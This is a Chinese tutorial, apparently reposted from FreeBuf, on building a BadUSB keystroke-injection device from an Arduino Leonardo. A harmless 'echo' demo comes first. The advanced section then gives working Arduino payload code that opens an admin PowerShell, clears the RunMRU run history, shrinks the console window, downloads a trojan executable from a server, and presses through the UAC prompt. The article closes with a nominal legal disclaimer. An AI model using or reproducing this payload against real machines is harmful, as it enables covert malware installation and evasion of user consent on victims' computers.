teensy 制作键盘 linux,利用Arduino快速制作Teensy BadUSB

2023-11-10 05:10

本文主要是介绍teensy 制作键盘 linux,利用Arduino快速制作Teensy BadUSB,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

*本文原创作者:维克斯

0x00 介绍

本文想以较简单的方式,叙述Arduino版BadUSB的制作过程。我知道在这之前已经有很多前辈都写过相关的文章,但小白可能还有点迷糊,所以这篇文章是快速带大家入门了解,我也是菜B大神不要喷,谢谢~。

“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在2014年的BlackHat安全大会上公布。 虽然已隔一两年,但还是有人在研究它,它的攻击方式也多种多样。BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是"USB RUBBERDUCKY"和"Teensy"。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战》

76251dab3ebc8d4240a898785dd52aa6.png

USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

5a8b64b8b8e067e8d3bbf39e7d05a9c0.png

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造

2d4850c7ccc9edd2b1fa3b199bc2e701.png

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

f5d05b29e1d03aa6f065d6502bd1a6eb.png

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

0x01 制作过程

好的废话咱们不多说了,直接开始吧~我们就是利用Arduino制作TEENSY 。Arduino是让一种叫做单片机的小型可编程电脑尽可能简单地被使用,并且单片机可以让物体获得交互功能。

来看一下我们需要准备的材料吧Arduino Leonardo //小型单片机模拟USB

安卓数据线 //用于连接电脑USB

PC一台 //ok我们可以开工了

扩展:追求完美的同学可以考虑 ——超短micro转USB

Arduino Leonardo 单片机我们可以去各大电商平台上去淘,特别是什么货都有的电商平台,相信你绝对能找到的。

28ed0f4495d6f78ae308d24f8375d9a6.png

d2ed1fcd4df724d562075576e2d34216.png

我本来已经买好micro转USB了 结果当我拿起他们两个准备啪啪啪的时候~~~~

54c4e4ae5772ab33bc5c39411c70188a.png

当场蒙逼,告诉我为什么插不进去~~~~  算了当作纪念吧 ,所以我先当个炮灰,希望其他小伙伴不要和我一样~~

感兴趣的可以考虑一下这个玩意 名字叫做OTG转接头 我已经再一次交出了我的身体 发现是真的。。。。 可以有!

76f3362c0a8985d2017508b93dff8e26.png

0eaaf7ce4713d9ba8d4c2b1bd8815275.png

好~大家先把arduino IDE先装好 安装过程很简单 就是下一步下一步,没什么难度。

安装好以后打开IDE。

d7a11ba403944960d4a1d8aacfbf2869.png

打开我们的IDE

IDE改版后,启动界面也变了,以前的版本不是这样的。打开以后是这样子的:

28750cdeced1ee7df441cee3eaecd04b.png

那好我们就开始编写代码,不过在这之前我们要先把Arduino Leonardo插上。然后我们先保存一下这个项目文件,建议大家直接保存在桌面。

3574ec27e7daa4b4ee68af0c40dfa986.png然后会在桌面上多出一个demo文件夹

b762840240cf27ae9bfb2ae705af7788.png

文件夹内就是我们的demo文件。好~我们开始编写代码:void setup() {

// put your setup code here, to run once:

}

这段代码就是初始化我们的程序。void loop() {

// put your main code here, to run repeatedly:

}

这段代码是我们要循环的地方。

以上只是程序给我们搭好的框架,实际代码要我们自己去编写。我们让USB对电脑进行操作主要是想实现自动化键盘操作,所以我们这边就要用到arduino的键盘函数#include  //包含键盘模块的头文件

Keyboard.begin();  //开启键盘通信

Keyboard.press();  //按下某个键

Keyboard.release(); //释放某个键

Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/

Keyboard.end();  //结束键盘通信

OK,以上就是我们主要使用到的函数。

那好现在我写一些简单代码,然后大家可以感性地知道 代码的含义:#include //包含键盘模块头文件

void setup(); //初始化

Keyboard.begin();//开始键盘通信

delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样

Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

Keyboard.release(KEY_CAPS_LOCK); //释放大写键

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键

delay(500);

Keyboard.press('r');//按下r键

delay(500);

Keyboard.release(KEY_LEFT_GUI);//松掉win键

Keyboard.release('r');//松掉r键

delay(500);

Keyboard.println("cmd");//输入cmd进入DOS

delay(500);

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大写键

Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

delay(500);

Keyboard.end();//结束键盘通讯

}

void loop()//循环,这里的代码

{

//循环体 写入你要循环的代码

}

那好现在我们把代码写到IDE里面去。

然后我们要选择正确的开发板和COM口,每台电脑都不一样的。

845c4e744d6c6e11e8a4ff3f701738c4.png

一切准备就绪我们点击编译,看看程序是否能正常执行。

d15cc67d048741ac5f3ce6ecf475bae5.png

提示这些说明我们编译成功。

fc5a3c1739421824ffbb075f7caf71fa.png

那么我们离成功就是最后一步了——上传。

99df00e4f8daad77975747c63fca2f1b.png

提示

6330f929b7f1d7d1ca9f2e667feaa3d4.png

上传成功后,电脑会自动断开USB,然后又会重新连接,那么Arduino Leonardo就会自动运行了。我们来看看:

首先开启大写键 然后打开了运行窗口 然后输入了CMD 接着要回车了

77992bf20dcd62dac5170af7e15c7f1b.png

然后程序自己输入 echo first test 并且执行回车~~!! 大功告成~!

0bb691f27ce7cf14801f8ac0d0398738.png

以上就是利用Arduino Leonardo实现自动化的ehco操作,模拟一个BadUSB。

0x02 进阶

那么我分享一下我的代码——主要实现的功能就是从远程服务器上下载我们木马然后执行,并且不会产生记录,和网上的同学实现的目的是一样的,但代码可能有所偏差。好那么看代码,因为篇幅原因,我就直接贴出,主要实现代码块。

有需要的同学自行黏贴Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/

Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')");  /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/

//自己想了一个比较笨的方法绕过UAC  就是询问管理员是否同意的那个框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向键

Keyboard.release(KEY_LEFT_ARROW); //释放左方向键

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN);//释放enter键

注意~

1.这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持,其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥

2.另外要注意的地方是在IDE编程的时候,指定目录是要用\\ 双斜杠。

3.这些命令字母的大小写是这样的,因为我们在程序开头执行了开启大写键的这个操作 ,所以我们想还原真实的字母就要在IDE里面把小写的改成大写,大写的改成小写 这样程序输出的时候就是我们想要的结果

4.还有就是delay();  延这个东西自己把握,不是说值都是唯一的。我这里可能相对来说比较慢

最后附上键值对照表Key            Hexadecimal value    Decimal value

KEY_LEFT_CTRL         0x80         128

KEY_LEFT_SHIFT        0x81         129

KEY_LEFT_ALT          0x82         130

KEY_LEFT_GUI         0x83         131

KEY_RIGHT_CTRL        0x84         132

KEY_RIGHT_SHIFT        0x85         133

KEY_RIGHT_ALT        0x86         134

KEY_RIGHT_GUI         0x87         135

KEY_UP_ARROW         0xDA         218

KEY_DOWN_ARROW        0xD9         217

KEY_LEFT_ARROW        0xD8         216

KEY_RIGHT_ARROW        0xD7         215

KEY_BACKSPACE        0xB2         178

KEY_TAB            0xB3           179

KEY_RETURN         0xB0         176

KEY_ESC             0xB1         177

KEY_INSERT         0xD1         209

KEY_DELETE         0xD4         212

KEY_PAGE_UP         0xD3         211

KEY_PAGE_DOWN        0xD6         214

KEY_HOME             0xD2         210

KEY_END             0xD5         213

KEY_CAPS_LOCK         0xC1         193

KEY_F1               0xC2         194

KEY_F2              0xC3         195

KEY_F3              0xC4         196

KEY_F4              0xC5         197

KEY_F5              0xC6         198

KEY_F6              0xC7         199

KEY_F7              0xC8         200

KEY_F8              0xC9         201

KEY_F9              0xCA         202

KEY_F10             0xCB         203

KEY_F11              0xCC         204

KEY_F12             0xCD         205

当然我这边的代码还比较简单没有什么控制语句和其他函数,有兴趣的同学可以看看这方便的编程知识,让这个BadUSB更加智能,会判断。

大家也可以结合Metasploit 进行后门、木马的植入,或者一些批处理文件,把自己电脑搞得乱七八糟,哈哈...

本文可能存在攻击性,请勿用于非法用途。个人研究完全没问题,一切责任与本人无关,如有不足的地方希望指点,谢谢。

* 本文原创作者:维克斯,本文属FreeBuf原创奖励计划,未经许可禁止转载。

这篇关于teensy 制作键盘 linux,利用Arduino快速制作Teensy BadUSB的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/380519

相关文章

linux-基础知识3

打包和压缩 zip 安装zip软件包 yum -y install zip unzip 压缩打包命令: zip -q -r -d -u 压缩包文件名 目录和文件名列表 -q:不显示命令执行过程-r:递归处理,打包各级子目录和文件-u:把文件增加/替换到压缩包中-d:从压缩包中删除指定的文件 解压:unzip 压缩包名 打包文件 把压缩包从服务器下载到本地 把压缩包上传到服务器(zip

电脑桌面文件删除了怎么找回来?别急,快速恢复攻略在此

在日常使用电脑的过程中,我们经常会遇到这样的情况:一不小心,桌面上的某个重要文件被删除了。这时,大多数人可能会感到惊慌失措,不知所措。 其实,不必过于担心,因为有很多方法可以帮助我们找回被删除的桌面文件。下面,就让我们一起来了解一下这些恢复桌面文件的方法吧。 一、使用撤销操作 如果我们刚刚删除了桌面上的文件,并且还没有进行其他操作,那么可以尝试使用撤销操作来恢复文件。在键盘上同时按下“C

Linux 网络编程 --- 应用层

一、自定义协议和序列化反序列化 代码: 序列化反序列化实现网络版本计算器 二、HTTP协议 1、谈两个简单的预备知识 https://www.baidu.com/ --- 域名 --- 域名解析 --- IP地址 http的端口号为80端口,https的端口号为443 url为统一资源定位符。CSDNhttps://mp.csdn.net/mp_blog/creation/editor

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统         在产品将要上线之前,需要制作不同类型格式的根文件系统         在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统         优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命         【1】重启上位机nfs服务         sudo service nfs-kernel-server resta

hdu 4565 推倒公式+矩阵快速幂

题意 求下式的值: Sn=⌈ (a+b√)n⌉%m S_n = \lceil\ (a + \sqrt{b}) ^ n \rceil\% m 其中: 0<a,m<215 0< a, m < 2^{15} 0<b,n<231 0 < b, n < 2^{31} (a−1)2<b<a2 (a-1)^2< b < a^2 解析 令: An=(a+b√)n A_n = (a +

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运维场景中的应用,旨在帮助运维人员快速上手并熟练运用 Ansible。 1. Ansible的核心概念

v0.dev快速开发

探索v0.dev:次世代开发者之利器 今之技艺日新月异,开发者之工具亦随之进步不辍。v0.dev者,新兴之开发者利器也,迅速引起众多开发者之瞩目。本文将引汝探究v0.dev之基本功能与优势,助汝速速上手,提升开发之效率。 何谓v0.dev? v0.dev者,现代化之开发者工具也,旨在简化并加速软件开发之过程。其集多种功能于一体,助开发者高效编写、测试及部署代码。无论汝为前端开发者、后端开发者

Linux服务器Java启动脚本

Linux服务器Java启动脚本 1、初版2、优化版本3、常用脚本仓库 本文章介绍了如何在Linux服务器上执行Java并启动jar包, 通常我们会使用nohup直接启动,但是还是需要手动停止然后再次启动, 那如何更优雅的在服务器上启动jar包呢,让我们一起探讨一下吧。 1、初版 第一个版本是常用的做法,直接使用nohup后台启动jar包, 并将日志输出到当前文件夹n